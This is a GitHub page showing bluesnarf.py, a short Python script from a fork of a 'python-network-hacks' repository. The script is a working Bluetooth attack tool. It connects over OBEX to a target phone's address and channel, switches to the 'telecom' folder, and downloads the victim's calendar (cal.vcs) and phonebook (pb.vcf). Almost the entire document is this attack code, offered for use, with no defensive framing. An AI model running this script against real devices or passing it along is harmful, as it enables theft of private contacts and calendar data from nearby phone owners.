forked from balle/python-network-hacks
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathbluesnarf.py
47 lines (33 loc) · 964 Bytes
/
bluesnarf.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/python3
import sys
from os.path import basename
from PyOBEX import client, headers, responses
def get_file(client, filename):
"""
Use OBEX get to retrieve a file and write it
to a local file of the same name
"""
r = client.get(filename)
if isinstance(r, responses.FailureResponse):
print("Failed to get file " + filename)
else:
headers, data = r
fh = open(filename, "w+")
fh.write(data)
fh.close()
if len(sys.argv) < 3:
print(sys.argv[0] + ": <btaddr> <channel>")
sys.exit(0)
btaddr = sys.argv[1]
channel = int(sys.argv[2])
print("Bluesnarfing %s on channel %d" % (btaddr, channel))
c = client.BrowserClient(btaddr, channel)
try:
r = c.connect()
except OSError as e:
print("Connect failed. " + str(e))
if isinstance(r, responses.ConnectSuccess):
c.setpath("telecom")
get_file(c, "cal.vcs")
get_file(c, "pb.vcf")
c.disconnect()